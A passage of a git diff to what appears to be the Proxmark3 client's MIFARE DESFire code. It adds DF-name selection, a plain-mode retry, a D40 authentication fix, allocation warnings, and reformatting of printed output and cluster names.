CL_MISC1: case CL_MISC2: case CL_MISC3: @@ -102,40 +102,40 @@ const char *nxp_cluster_to_text(uint8_t cluster) { case CL_MISC5: case CL_MISC6: case CL_MISC7: - return "miscellaneous applications"; + return "Miscellaneous applications"; case CL_AIRLINES: - return "airlines"; + return "Airlines"; case CL_FERRY: - return "ferry traffic"; + return "Ferry traffic"; case CL_RAIL: - return "railway services"; + return "Railway services"; case CL_MISC: - return "miscellaneous applications"; + return "Miscellaneous applications"; case CL_TRANSPORT: - return "transport"; + return "Transport"; case CL_SECURITY: - return "security solutions"; + return "Security solutions"; case CL_CITYTRAFFIC: - return "city traffic"; + return "City traffic"; case CL_CZECH_RAIL: return "Czech Railways"; case CL_BUS: - return "bus services"; + return "Bus services"; case CL_MMT: - return "multi modal transit"; + return "Multi modal transit"; case CL_TAXI: - return "taxi"; + return "Taxi"; case CL_TOLL: - return "road toll"; + return "Road toll"; case CL_GENERIC_TRANS: - return "generic transport"; + return "Generic transport"; case CL_COMPANY_SERVICES: - return "company services"; + return "Company services"; case CL_CITYCARD: - return "city card services"; + return "City card services"; case CL_ACCESS_CONTROL_1: case CL_ACCESS_CONTROL_2: - return "access control & security"; + return "Access control & security"; case CL_VIGIK: return "VIGIK"; case CL_NED_DEFENCE: @@ -145,63 +145,63 @@ const char *nxp_cluster_to_text(uint8_t cluster) { case CL_EU: return "European Union Institutions"; case CL_SKI_TICKET: - return "ski ticketing"; + return "Ski ticketing"; case CL_SOAA: return "SOAA standard for offline access standard"; case CL_ACCESS2: - return "access control & security"; + return "Access control & security"; case CL_FOOD: - return "food"; + return "Food"; case CL_NONFOOD: - return "non-food trade"; + return "Non-food trade"; case CL_HOTEL: - return "hotel"; + return "Hotel"; case CL_LOYALTY: - return "loyalty"; + return "Loyalty"; case CL_AIRPORT: - return "airport services"; + return "Airport services"; case CL_CAR_RENTAL: - return "car rental"; + return "Car rental"; case CL_NED_GOV: return "Dutch government"; case CL_ADMIN2: - return "administration services"; + return "Administration services"; case CL_PURSE: - return "electronic purse"; + return "Electronic purse"; case CL_TV: - return "television"; + return "Television"; case CL_CRUISESHIP: - return "cruise ship"; + return "Cruise ship"; case CL_IOPTA: return "IOPTA"; case CL_METERING: - return "metering"; + return "Metering"; case CL_TELEPHONE: - return "telephone"; + return "Telephone"; case CL_HEALTH: - return "health services"; + return "Health services"; case CL_WAREHOUSE: - return "warehouse"; + return "Warehouse"; case CL_BANKING: - return "banking"; + return "Banking"; case CL_ENTERTAIN: - return "entertainment & sports"; + return "Entertainment & sports"; case CL_PARKING: - return "car parking"; + return "Car parking"; case CL_FLEET: - return "fleet management"; + return "Fleet management"; case CL_FUEL: - return "fuel, gasoline"; + return "Fuel, gasoline"; case CL_INFO: - return "info services"; + return "Info services"; case CL_PRESS: - return "press"; + return "Press"; case CL_NFC: return "NFC Forum"; case CL_COMPUTER: - return "computer"; + return "Computer"; case CL_MAIL: - return "mail"; + return "Mail"; case CL_AMISC: case CL_AMISC1: case CL_AMISC2: @@ -210,11 +210,11 @@ const char *nxp_cluster_to_text(uint8_t cluster) { case CL_AMISC5: case CL_AMISC6: case CL_AMISC7: - return "miscellaneous applications"; + return "Miscellaneous applications"; default: break; } - return "reserved"; + return "Reserved"; } static json_t *df_known_aids = NULL; diff --git a/client/src/mifare/desfirecore.c b/client/src/mifare/desfirecore.c index 1376fce57..9d6fc5084 100644 --- a/client/src/mifare/desfirecore.c +++ b/client/src/mifare/desfirecore.c @@ -554,6 +554,7 @@ static int DesfireExchangeNative(bool activate_field, DesfireContext_t *ctx, uin uint8_t *buf = calloc(DESFIRE_BUFFER_SIZE, 1); if (buf == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -574,10 +575,11 @@ static int DesfireExchangeNative(bool activate_field, DesfireContext_t *ctx, uin size_t sentdatalen = 0; while (cdatalen >= sentdatalen) { - if ((cdatalen - sentdatalen) > DESFIRE_TX_FRAME_MAX_LEN) + if ((cdatalen - sentdatalen) > DESFIRE_TX_FRAME_MAX_LEN) { len = DESFIRE_TX_FRAME_MAX_LEN; - else + } else { len = cdatalen - sentdatalen; + } size_t sendindx = sentdatalen; size_t sendlen = len; @@ -656,8 +658,9 @@ static int DesfireExchangeNative(bool activate_field, DesfireContext_t *ctx, uin } pos += buflen; - if (rcode != MFDES_ADDITIONAL_FRAME) + if (rcode != MFDES_ADDITIONAL_FRAME) { break; + } } if (resplen) { @@ -680,6 +683,7 @@ static int DesfireExchangeISONative(bool activate_field, DesfireContext_t *ctx, uint16_t sw = 0; uint8_t *buf = calloc(DESFIRE_BUFFER_SIZE, 1); if (buf == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -802,6 +806,7 @@ static int DesfireExchangeISONative(bool activate_field, DesfireContext_t *ctx, static int DesfireExchangeISO(bool activate_field, DesfireContext_t *ctx, sAPDU_t apdu, uint16_t le, uint8_t *resp, size_t *resplen, uint16_t *sw) { uint8_t *data = calloc(DESFIRE_BUFFER_SIZE, 1); if (data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -861,6 +866,7 @@ int DesfireExchangeEx(bool activate_field, DesfireContext_t *ctx, uint8_t cmd, u uint8_t *databuf = calloc(DESFIRE_BUFFER_SIZE, 1); if (databuf == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -908,6 +914,7 @@ int DesfireExchange(DesfireContext_t *ctx, uint8_t cmd, uint8_t *data, size_t da int DesfireSelectAID(DesfireContext_t *ctx, uint8_t *aid1, uint8_t *aid2) { if (aid1 == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EINVARG; } @@ -964,12 +971,14 @@ int DesfireSelectAIDHexNoFieldOn(DesfireContext_t *ctx, uint32_t aid) { ctx->secureChannel = DACNone; int res = DesfireExchangeEx(false, ctx, MFDES_SELECT_APPLICATION, data, 3, &respcode, resp, &resplen, true, 0); if (res == PM3_SUCCESS) { - if (resplen != 0) + if (resplen != 0) { return PM3_ECARDEXCHANGE; + } // select operation fail - if (respcode != MFDES_S_OPERATION_OK) + if (respcode != MFDES_S_OPERATION_OK) { return PM3_EAPDU_FAIL; + } DesfireClearSession(ctx); ctx->appSelected = (aid != 0x000000); @@ -1008,7 +1017,7 @@ void DesfirePrintAIDFunctions(uint32_t appid) { if ((aid[2] >> 4) == 0xF) { uint16_t short_aid = ((aid[2] & 0xF) << 12) | (aid[1] << 4) | (aid[0] >> 4); PrintAndLogEx(SUCCESS, " AID mapped to MIFARE Classic AID (MAD): " _YELLOW_("%02X"), short_aid); - PrintAndLogEx(SUCCESS, " MAD AID Cluster 0x%02X : " _YELLOW_("%s"), short_aid >> 8, nxp_cluster_to_text(short_aid >> 8)); + PrintAndLogEx(SUCCESS, " MAD AID Cluster 0x%02X..... " _YELLOW_("%s"), short_aid >> 8, nxp_cluster_to_text(short_aid >> 8)); MADDFDecodeAndPrint(short_aid, false); } else { AIDDFDecodeAndPrint(aid); @@ -1016,53 +1025,64 @@ void DesfirePrintAIDFunctions(uint32_t appid) { } int DesfireSelectAndAuthenticateEx(DesfireContext_t *dctx, DesfireSecureChannel secureChannel, uint32_t aid, bool noauth, bool verbose) { - if (verbose) + if (verbose) { DesfirePrintContext(dctx); + } // needs card uid for diversification - if (dctx->kdfAlgo == MFDES_KDF_ALGO_GALLAGHER) + if (dctx->kdfAlgo == MFDES_KDF_ALGO_GALLAGHER) { DesfireGetCardUID(dctx); + } bool isosw = false; if (dctx->cmdSet == DCCISO) { dctx->cmdSet = DCCNativeISO; isosw = true; - if (verbose) + if (verbose) { PrintAndLogEx(INFO, "Switch to " _CYAN_("native") " for select"); + } } int res; if (aid == 0x000000) { res = DesfireAnticollision(verbose); if (res != PM3_SUCCESS) { - PrintAndLogEx(ERR, "Desfire anticollision " _RED_("error") "."); + PrintAndLogEx(ERR, "Desfire anticollision " _RED_("fail")); return 200; } - if (verbose) + + if (verbose) { PrintAndLogEx(INFO, "Anticollision " _GREEN_("ok")); + } + } else { res = DesfireSelectAIDHex(dctx, aid, false, 0); if (res != PM3_SUCCESS) { - PrintAndLogEx(ERR, "Desfire select " _RED_("error") "."); + PrintAndLogEx(ERR, "Desfire select " _RED_("fail")); return 200; } - if (verbose) + + if (verbose) { PrintAndLogEx(INFO, "App %06x " _GREEN_("selected"), aid); + } } - if (isosw) + if (isosw) { dctx->cmdSet = DCCISO; + } if (noauth == false) { + res = DesfireAuthenticate(dctx, secureChannel, verbose); if (res != PM3_SUCCESS) { - PrintAndLogEx(ERR, "Desfire authenticate " _RED_("error") ". Result: [%d] %s", res, DesfireAuthErrorToStr(res)); + PrintAndLogEx(ERR, "Desfire authenticate " _RED_("fail") ". Result: [%d] %s", res, DesfireAuthErrorToStr(res)); return res; } if (DesfireIsAuthenticated(dctx)) { - if (verbose) + if (verbose) { PrintAndLogEx(INFO, "Desfire " _GREEN_("authenticated")); + } } else { return 201; } @@ -1080,14 +1100,64 @@ int DesfireSelectAndAuthenticateW(DesfireContext_t *dctx, DesfireSecureChannel s DesfirePrintContext(dctx); int res = 0; - if (way == ISW6bAID && dctx->cmdSet == DCCISO) { + + // Handle DF Name selection if it's present in the context + if (dctx->selectedDFNameLen > 0) { + // Select DF by name using ISO7816 SELECT + uint8_t resp[250] = {0}; + size_t resplen = 0; + res = DesfireISOSelect(dctx, ISSDFName, dctx->selectedDFName, dctx->selectedDFNameLen, resp, &resplen); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Desfire DF name select " _RED_("error")); + return 200; + } + if (verbose) { + PrintAndLogEx(INFO, "DF %s is " _GREEN_("selected"), sprint_hex(dctx->selectedDFName, dctx->selectedDFNameLen)); + } + + // If both dfname and aid are specified, now also select by AID + if (way == ISW6bAID && id != 0x000000) { + if (dctx->cmdSet == DCCISO) { + dctx->cmdSet = DCCNativeISO; + if (verbose) + PrintAndLogEx(INFO, "Select via " _CYAN_("native iso wrapping") " interface"); + + res = DesfireSelectAIDHex(dctx, id, false, 0); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Desfire select " _RED_("error")); + return 200; + } + if (verbose) + PrintAndLogEx(INFO, "App %06x via native iso channel is " _GREEN_("selected"), id); + + dctx->cmdSet = DCCISO; + } else { + res = DesfireSelectEx(dctx, false, way, id, NULL); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Desfire %s select " _RED_("error"), DesfireSelectWayToStr(way)); + return 202; + } + if (verbose) + PrintAndLogEx(INFO, "%s is " _GREEN_("selected"), DesfireWayIDStr(way, id)); + } + } else if (way == ISWIsoID && id != 0x0000) { + // Also select by ISO ID if specified + res = DesfireSelectEx(dctx, false, way, id, NULL); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Desfire %s select " _RED_("error"), DesfireSelectWayToStr(way)); + return 202; + } + if (verbose) + PrintAndLogEx(INFO, "%s is " _GREEN_("selected"), DesfireWayIDStr(way, id)); + } + } else if (way == ISW6bAID && dctx->cmdSet == DCCISO) { dctx->cmdSet = DCCNativeISO; if (verbose) PrintAndLogEx(INFO, "Select via " _CYAN_("native iso wrapping") " interface"); res = DesfireSelectAIDHex(dctx, id, false, 0); if (res != PM3_SUCCESS) { - PrintAndLogEx(ERR, "Desfire select " _RED_("error") "."); + PrintAndLogEx(ERR, "Desfire select " _RED_("error")); return 200; } if (verbose) @@ -1097,7 +1167,7 @@ int DesfireSelectAndAuthenticateW(DesfireContext_t *dctx, DesfireSecureChannel s } else { res = DesfireSelectEx(dctx, true, way, id, NULL); if (res != PM3_SUCCESS) { - PrintAndLogEx(ERR, "Desfire %s select " _RED_("error") ".", DesfireSelectWayToStr(way)); + PrintAndLogEx(ERR, "Desfire %s select " _RED_("error"), DesfireSelectWayToStr(way)); return 202; } if (verbose) @@ -1107,12 +1177,13 @@ int DesfireSelectAndAuthenticateW(DesfireContext_t *dctx, DesfireSecureChannel s if (selectfile) { res = DesfireSelectEx(dctx, false, ISWIsoID, isofileid, NULL); if (res != PM3_SUCCESS) { - PrintAndLogEx(ERR, "Desfire iso file select " _RED_("error") "."); + PrintAndLogEx(ERR, "Desfire iso file select " _RED_("error")); return 203; } - if (verbose) + if (verbose) { PrintAndLogEx(INFO, "Application %s file iso id %04x is " _GREEN_("selected"), DesfireWayIDStr(way, id), isofileid); + } } if (!noauth) { @@ -1123,8 +1194,9 @@ int DesfireSelectAndAuthenticateW(DesfireContext_t *dctx, DesfireSecureChannel s } if (DesfireIsAuthenticated(dctx)) { - if (verbose) + if (verbose) { PrintAndLogEx(INFO, "Desfire " _GREEN_("authenticated")); + } } else { return 201; } @@ -1222,14 +1294,17 @@ static int DesfireAuthenticateEV1(DesfireContext_t *dctx, DesfireSecureChannel s // - Encrypt our response if (secureChannel == DACd40) { + // Original DESFire (MF3ICD40) silicon can only do encryption operations, so all PCD + // side operations must be decrypt, even when encrypting when doing D40 compatible + // secure channel operations memset(IV, 0, DESFIRE_MAX_CRYPTO_BLOCK_SIZE); - DesfireCryptoEncDecEx(dctx, DCOMainKey, RndA, rndlen, encRndA, true, true, IV); + DesfireCryptoEncDecEx(dctx, DCOMainKey, RndA, rndlen, encRndA, true, false, IV); memcpy(both, encRndA, rndlen); bin_xor(rotRndB, encRndA, rndlen); memset(IV, 0, DESFIRE_MAX_CRYPTO_BLOCK_SIZE); - DesfireCryptoEncDecEx(dctx, DCOMainKey, rotRndB, rndlen, encRndB, true, true, IV); + DesfireCryptoEncDecEx(dctx, DCOMainKey, rotRndB, rndlen, encRndB, true, false, IV); memcpy(both + rndlen, encRndB, rndlen); } else if (secureChannel == DACEV1) { @@ -1861,17 +1936,17 @@ int DesfireFillAppList(DesfireContext_t *dctx, PICCInfo_t *PICCInfo, AppListS ap void DesfirePrintPICCInfo(DesfireContext_t *dctx, PICCInfo_t *PICCInfo) { PrintAndLogEx(SUCCESS, "------------------------------------ " _CYAN_("PICC level") " -------------------------------------"); - if (PICCInfo->freemem == 0xffffffff) - PrintAndLogEx(SUCCESS, "Applications count: " _GREEN_("%zu") " free memory " _YELLOW_("n/a"), PICCInfo->appCount); - else - PrintAndLogEx(SUCCESS, "Applications count: " _GREEN_("%zu") " free memory " _GREEN_("%d") " bytes", PICCInfo->appCount, PICCInfo->freemem); + PrintAndLogEx(SUCCESS, "# applications....... " _YELLOW_("%zu"), PICCInfo->appCount); + PrintAndLogEx(SUCCESS, ""); + if (PICCInfo->authCmdCheck.checked) { - PrintAndLogEx(SUCCESS, "PICC level auth commands: "); + PrintAndLogEx(SUCCESS, "PICC level auth commands"); DesfireCheckAuthCommandsPrint(&PICCInfo->authCmdCheck); } + if (PICCInfo->numberOfKeys > 0) { PrintKeySettings(PICCInfo->keySettings, PICCInfo->numKeysRaw, false, true); - PrintAndLogEx(SUCCESS, "PICC key 0 version: %d (0x%02x)", PICCInfo->keyVersion0, PICCInfo->keyVersion0); + PrintAndLogEx(SUCCESS, "PICC key "_YELLOW_("0") " version: %d (0x%02x)", PICCInfo->keyVersion0, PICCInfo->keyVersion0); } } @@ -1883,28 +1958,27 @@ void DesfirePrintAppList(DesfireContext_t *dctx, PICCInfo_t *PICCInfo, AppListS PrintAndLogEx(SUCCESS, "--------------------------------- " _CYAN_("Applications list") " ---------------------------------"); for (int i = 0; i < PICCInfo->appCount; i++) { - PrintAndLogEx(SUCCESS, _CYAN_("Application number: 0x%02X"), appList[i].appNum); - PrintAndLogEx(SUCCESS, " ISO id.... " _GREEN_("0x%04X"), appList[i].appISONum); - PrintAndLogEx(SUCCESS, " DF name... " _GREEN_("%s") " ( %s)", appList[i].appDFName, sprint_hex((uint8_t *)appList[i].appDFName, sizeof(appList[i].appDFName))); + PrintAndLogEx(SUCCESS, "Application ID....... " _CYAN_("0x%02X"), appList[i].appNum); + PrintAndLogEx(SUCCESS, " ISO id............ " _GREEN_("0x%04X"), appList[i].appISONum); + PrintAndLogEx(SUCCESS, " DF name........... " _GREEN_("%s") " ( %s )", appList[i].appDFName, sprint_hex_inrow((uint8_t *)appList[i].appDFName, sizeof(appList[i].appDFName))); DesfirePrintAIDFunctions(appList[i].appNum); if (PICCInfo->authCmdCheck.checked) { - PrintAndLogEx(SUCCESS, "Auth commands: "); + PrintAndLogEx(SUCCESS, "Auth commands"); DesfireCheckAuthCommandsPrint(&appList[i].authCmdCheck); PrintAndLogEx(SUCCESS, ""); } if (appList[i].numberOfKeys > 0) { + PrintKeySettings(appList[i].keySettings, appList[i].numKeysRaw, true, true); - if (appList[i].numberOfKeys > 0) { - PrintAndLogEx(SUCCESS, "Key versions [0..%d]: " NOLF, appList[i].numberOfKeys - 1); - for (uint8_t keyn = 0; keyn < appList[i].numberOfKeys; keyn++) { - PrintAndLogEx(NORMAL, "%s %02x" NOLF, (keyn == 0) ? "" : ",", appList[i].keyVersions[keyn]); - } - PrintAndLogEx(NORMAL, "\n"); + PrintAndLogEx(SUCCESS, "Key versions [0..%d] " NOLF, appList[i].numberOfKeys - 1); + for (uint8_t keyn = 0; keyn < appList[i].numberOfKeys; keyn++) { + PrintAndLogEx(NORMAL, "%s %02x" NOLF, (keyn == 0) ? "" : ",", appList[i].keyVersions[keyn]); } + PrintAndLogEx(NORMAL, "\n"); if (appList[i].filesReaded) { PrintAndLogEx(SUCCESS, "Application have " _GREEN_("%zu") " files", appList[i].filesCount); @@ -1915,10 +1989,11 @@ void DesfirePrintAppList(DesfireContext_t *dctx, PICCInfo_t *PICCInfo, AppListS PrintAndLogEx(SUCCESS, "--------------------------------- " _CYAN_("File %02x") " ----------------------------------", appList[i].fileList[fnum].fileNum); PrintAndLogEx(SUCCESS, "File ID : " _GREEN_("%02x"), appList[i].fileList[fnum].fileNum); if (appList[i].isoPresent) { - if (appList[i].fileList[fnum].fileISONum != 0) + if (appList[i].fileList[fnum].fileISONum != 0) { PrintAndLogEx(SUCCESS, "File ISO ID : %04x", appList[i].fileList[fnum].fileISONum); - else + } else { PrintAndLogEx(SUCCESS, "File ISO ID : " _YELLOW_("n/a")); + } } DesfirePrintFileSettingsExtended(&appList[i].fileList[fnum].fileSettings); } @@ -1938,6 +2013,7 @@ static int DesfireCommandEx(DesfireContext_t *dctx, uint8_t cmd, uint8_t *data, uint8_t *xresp = calloc(DESFIRE_BUFFER_SIZE, 1); if (xresp == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -2214,6 +2290,20 @@ int DesfireValueFileOperations(DesfireContext_t *dctx, uint8_t fid, uint8_t oper int res = DesfireCommand(dctx, operation, data, datalen, resp, &resplen, -1); + // Auto-detection fallback: if MAC mode fails with length error, retry with plain mode + if ((res == 0x7E || res == -20) && dctx->commMode == DCMMACed) { + PrintAndLogEx(INFO, "MAC mode failed with length error, retrying with plain mode"); + DesfireCommunicationMode original_mode = dctx->commMode; + dctx->commMode = DCMPlain; + + memset(resp, 0, sizeof(resp)); + resplen = 0; + res = DesfireCommand(dctx, operation, data, datalen, resp, &resplen, -1); + + // Restore original mode for future commands + dctx->commMode = original_mode; + } + if (resplen == 4 && value) { *value = MemLeToUint4byte(resp); } @@ -2251,63 +2341,68 @@ int DesfireUpdateRecord(DesfireContext_t *dctx, uint8_t fnum, uint32_t recnum, u } static void PrintKeySettingsPICC(uint8_t keysettings, uint8_t numkeys, bool print2ndbyte) { - PrintAndLogEx(SUCCESS, "PICC level rights:"); - PrintAndLogEx(SUCCESS, "[%c...] CMK Configuration changeable : %s", (keysettings & (1 << 3)) ? '1' : '0', (keysettings & (1 << 3)) ? _GREEN_("YES") : _RED_("NO (frozen)")); - PrintAndLogEx(SUCCESS, "[.%c..] CMK required for create/delete : %s", (keysettings & (1 << 2)) ? '1' : '0', (keysettings & (1 << 2)) ? _GREEN_("NO") : "YES"); - PrintAndLogEx(SUCCESS, "[..%c.] Directory list access with CMK : %s", (keysettings & (1 << 1)) ? '1' : '0', (keysettings & (1 << 1)) ? _GREEN_("NO") : "YES"); - PrintAndLogEx(SUCCESS, "[...%c] CMK is changeable : %s", (keysettings & (1 << 0)) ? '1' : '0', (keysettings & (1 << 0)) ? _GREEN_("YES") : _RED_("NO (frozen)")); + PrintAndLogEx(SUCCESS, "PICC level rights"); + PrintAndLogEx(SUCCESS, "[%c...] CMK Configuration changeable : %s", (keysettings & (1 << 3)) ? '1' : '0', (keysettings & (1 << 3)) ? _GREEN_("YES") : _RED_("NO (frozen)")); + PrintAndLogEx(SUCCESS, "[.%c..] CMK required for create/delete : %s", (keysettings & (1 << 2)) ? '1' : '0', (keysettings & (1 << 2)) ? _GREEN_("NO") : _RED_("YES")); + PrintAndLogEx(SUCCESS, "[..%c.] CMK required for AID list / GetKeySettings : %s", (keysettings & (1 << 1)) ? '1' : '0', (keysettings & (1 << 1)) ? _GREEN_("NO") : _RED_("YES")); + PrintAndLogEx(SUCCESS, "[...%c] CMK is changeable : %s", (keysettings & (1 << 0)) ? '1' : '0', (keysettings & (1 << 0)) ? _GREEN_("YES") : _RED_("NO (frozen)")); PrintAndLogEx(SUCCESS, ""); if (print2ndbyte) { DesfirePrintCardKeyType(numkeys >> 6); - PrintAndLogEx(SUCCESS, "key count: %d", numkeys & 0x0f); + PrintAndLogEx(SUCCESS, "Key cnt.... " _YELLOW_("%d"), numkeys & 0x0F); } } static void PrintKeySettingsApp(uint8_t keysettings, uint8_t numkeys, bool print2ndbyte) { // Access rights. - PrintAndLogEx(SUCCESS, "Application level rights:"); + PrintAndLogEx(SUCCESS, "Application level rights"); uint8_t rights = ((keysettings >> 4) & 0x0F); switch (rights) { - case 0x0: - PrintAndLogEx(SUCCESS, "-- AMK authentication is necessary to change any key (default)"); + case 0x0: { + PrintAndLogEx(SUCCESS, " - AMK authentication is necessary to change any key (default)"); break; - case 0xE: - PrintAndLogEx(SUCCESS, "-- Authentication with the key to be changed (same KeyNo) is necessary to change a key"); + } + case 0xE: { + PrintAndLogEx(SUCCESS, " - Authentication with the key to be changed (same KeyNo) is necessary to change a key"); break; - case 0xF: - PrintAndLogEx(SUCCESS, "-- All keys (except AMK,see Bit0) within this application are frozen"); + } + case 0xF: { + PrintAndLogEx(SUCCESS, " - All keys (except AMK,see Bit0) within this application are frozen"); break; - default: + } + default: { PrintAndLogEx(SUCCESS, - "-- Authentication with the specified key " _YELLOW_("(0x%02x)") " is necessary to change any key.\n" + " - Authentication with the specified key " _YELLOW_("(0x%02x)") " is necessary to change any key.\n" "A change key and a PICC master key (CMK) can only be changed after authentication with the master key.\n" "For keys other then the master or change key, an authentication with the same key is needed.", rights & 0x0f ); break; + } } - PrintAndLogEx(SUCCESS, "[%c...] AMK Configuration changeable : %s", (keysettings & (1 << 3)) ? '1' : '0', (keysettings & (1 << 3)) ? _GREEN_("YES") : _RED_("NO (frozen)")); - PrintAndLogEx(SUCCESS, "[.%c..] AMK required for create/delete : %s", (keysettings & (1 << 2)) ? '1' : '0', (keysettings & (1 << 2)) ? _GREEN_("NO") : "YES"); - PrintAndLogEx(SUCCESS, "[..%c.] Directory list access with AMK : %s", (keysettings & (1 << 1)) ? '1' : '0', (keysettings & (1 << 1)) ? _GREEN_("NO") : "YES"); - PrintAndLogEx(SUCCESS, "[...%c] AMK is changeable : %s", (keysettings & (1 << 0)) ? '1' : '0', (keysettings & (1 << 0)) ? _GREEN_("YES") : _RED_("NO (frozen)")); + PrintAndLogEx(SUCCESS, "[%c...] AMK Configuration changeable : %s", (keysettings & (1 << 3)) ? '1' : '0', (keysettings & (1 << 3)) ? _GREEN_("YES") : _RED_("NO (frozen)")); + PrintAndLogEx(SUCCESS, "[.%c..] AMK required for create/delete : %s", (keysettings & (1 << 2)) ? '1' : '0', (keysettings & (1 << 2)) ? _GREEN_("NO") : _RED_("YES")); + PrintAndLogEx(SUCCESS, "[..%c.] AMK required for FID list / GetKeySettings : %s", (keysettings & (1 << 1)) ? '1' : '0', (keysettings & (1 << 1)) ? _GREEN_("NO") : _RED_("YES")); + PrintAndLogEx(SUCCESS, "[...%c] AMK is changeable : %s", (keysettings & (1 << 0)) ? '1' : '0', (keysettings & (1 << 0)) ? _GREEN_("YES") : _RED_("NO (frozen)")); PrintAndLogEx(SUCCESS, ""); if (print2ndbyte) { DesfirePrintCardKeyType(numkeys >> 6); - PrintAndLogEx(SUCCESS, "key count: %d", numkeys & 0x0f); - if (numkeys & 0x20) + PrintAndLogEx(SUCCESS, "Key cnt.... " _YELLOW_("%d"), numkeys & 0x0F); + if (numkeys & 0x20) { PrintAndLogEx(SUCCESS, "iso file id: enabled"); - PrintAndLogEx(SUCCESS, ""); + } } } void PrintKeySettings(uint8_t keysettings, uint8_t numkeys, bool applevel, bool print2ndbyte) { - if (applevel) + if (applevel) { PrintKeySettingsApp(keysettings, numkeys, print2ndbyte); - else + } else { PrintKeySettingsPICC(keysettings, numkeys, print2ndbyte); + } } static const char *DesfireUnknownStr = "unknown"; @@ -3052,7 +3147,10 @@ int DesfireGetCardUID(DesfireContext_t *ctx) { SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); PacketResponseNG resp; - WaitForResponse(CMD_ACK, &resp); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); uint64_t select_status = resp.oldarg[0]; diff --git a/client/src/mifare/desfirecrypto.c b/client/src/mifare/desfirecrypto.c index 6263c2321..b0097aab7 100644 --- a/client/src/mifare/desfirecrypto.c +++ b/client/src/mifare/desfirecrypto.c @@ -101,11 +101,24 @@ void DesfireSetCommMode(DesfireContext_t *ctx, DesfireCommunicationMode commMode void DesfireSetKdf(DesfireContext_t *ctx, uint8_t kdfAlgo, uint8_t *kdfInput, uint8_t kdfInputLen) { ctx->kdfAlgo = kdfAlgo; ctx->kdfInputLen = kdfInputLen; - if (kdfInputLen) { + if (kdfInputLen) memcpy(ctx->kdfInput, kdfInput, kdfInputLen); +} + +void DesfireSetDFName(DesfireContext_t *ctx, uint8_t *dfname, uint8_t dfnameLen) { + ctx->selectedDFNameLen = 0; + memset(ctx->selectedDFName, 0, sizeof(ctx->selectedDFName)); + + if (dfname && dfnameLen > 0 && dfnameLen <= 16) { + ctx->selectedDFNameLen = dfnameLen; + memcpy(ctx->selectedDFName, dfname, dfnameLen); } } +void DesfireSetSecureChannel(DesfireContext_t *ctx, DesfireSecureChannel schann) { + ctx->secureChannel = schann; +} + bool DesfireIsAuthenticated(DesfireContext_t *dctx) { return dctx->secureChannel != DACNone; } @@ -503,18 +516,22 @@ uint8_t DesfireKeyAlgoToType(DesfireCryptoAlgorithm keyType) { void DesfirePrintCardKeyType(uint8_t keyType) { switch (keyType) { - case 00: - PrintAndLogEx(SUCCESS, "Key: 2TDEA"); + case 00: { + PrintAndLogEx(SUCCESS, "Key type... " _YELLOW_("2TDEA")); break; - case 01: - PrintAndLogEx(SUCCESS, "Key: 3TDEA"); + } + case 01: { + PrintAndLogEx(SUCCESS, "Key type... " _YELLOW_("3TDEA")); break; - case 02: - PrintAndLogEx(SUCCESS, "Key: AES"); + } + case 02: { + PrintAndLogEx(SUCCESS, "Key type... " _YELLOW_("AES")); break; - default: - PrintAndLogEx(SUCCESS, "Key: unknown: 0x%02x", keyType); + } + default: { + PrintAndLogEx(SUCCESS, "Key type... " _YELLOW_("unknown") " - 0x%02x", keyType); break; + } } } diff --git a/client/src/mifare/desfirecrypto.h b/client/src/mifare/desfirecrypto.h index 43f9cd386..363cef461 100644 --- a/client/src/mifare/desfirecrypto.h +++ b/client/src/mifare/desfirecrypto.h @@ -75,6 +75,9 @@ typedef struct { bool appSelected; // for iso auth uint32_t selectedAID; + uint8_t selectedDFName[16]; + uint8_t selectedDFNameLen; + uint8_t uid[10]; uint8_t uidlen; @@ -95,7 +98,9 @@ void DesfireSetKey(DesfireContext_t *ctx, uint8_t keyNum, DesfireCryptoAlgorithm void DesfireSetKeyNoClear(DesfireContext_t *ctx, uint8_t keyNum, DesfireCryptoAlgorithm keyType, uint8_t *key); void DesfireSetCommandSet(DesfireContext_t *ctx, DesfireCommandSet cmdSet); void DesfireSetCommMode(DesfireContext_t *ctx, DesfireCommunicationMode commMode); +void DesfireSetSecureChannel(DesfireContext_t *ctx, DesfireSecureChannel schann); void DesfireSetKdf(DesfireContext_t *ctx, uint8_t kdfAlgo, uint8_t *kdfInput, uint8_t kdfInputLen); +void DesfireSetDFName(DesfireContext_t *ctx, uint8_t *dfname, uint8_t dfnameLen); bool DesfireIsAuthenticated(DesfireContext_t *dctx); size_t DesfireGetMACLength(DesfireContext_t *ctx); diff --git a/client/src/mifare/desfiresecurechan.c b/client/src/mifare/desfiresecurechan.c index d35833b4d..d9506d48b 100644 --- a/client/src/mifare/desfiresecurechan.c +++ b/client/src/mifare/desfiresecurechan.c @@ -219,9 +219,6 @@ static uint8_t DesfireGetCmdHeaderLen(uint8_t cmd) { static const uint8_t EV1D40TransmitMAC[] = { MFDES_WRITE_DATA, - MFDES_CREDIT, - MFDES_LIMITED_CREDIT, - MFDES_DEBIT, MFDES_WRITE_RECORD, MFDES_UPDATE_RECORD, MFDES_COMMIT_READER_ID, @@ -289,8 +286,10 @@ static bool DesfireISOChannelValidCmd(uint8_t cmd) { static void DesfireSecureChannelEncodeD40(DesfireContext_t *ctx, uint8_t cmd, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen) { uint8_t *data = calloc(DESFIRE_BUFFER_SIZE, sizeof(uint8_t)); - if (data == NULL) + if (data == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate 